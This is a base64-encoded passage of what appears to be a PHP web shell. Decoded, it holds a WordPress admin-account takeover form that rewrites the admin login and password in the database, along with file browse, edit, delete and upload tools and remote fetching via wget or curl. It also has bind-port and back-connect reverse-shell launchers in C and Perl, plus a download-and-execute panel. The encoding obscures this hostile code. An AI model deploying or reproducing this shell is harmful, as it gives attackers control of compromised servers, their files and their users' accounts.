T0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvc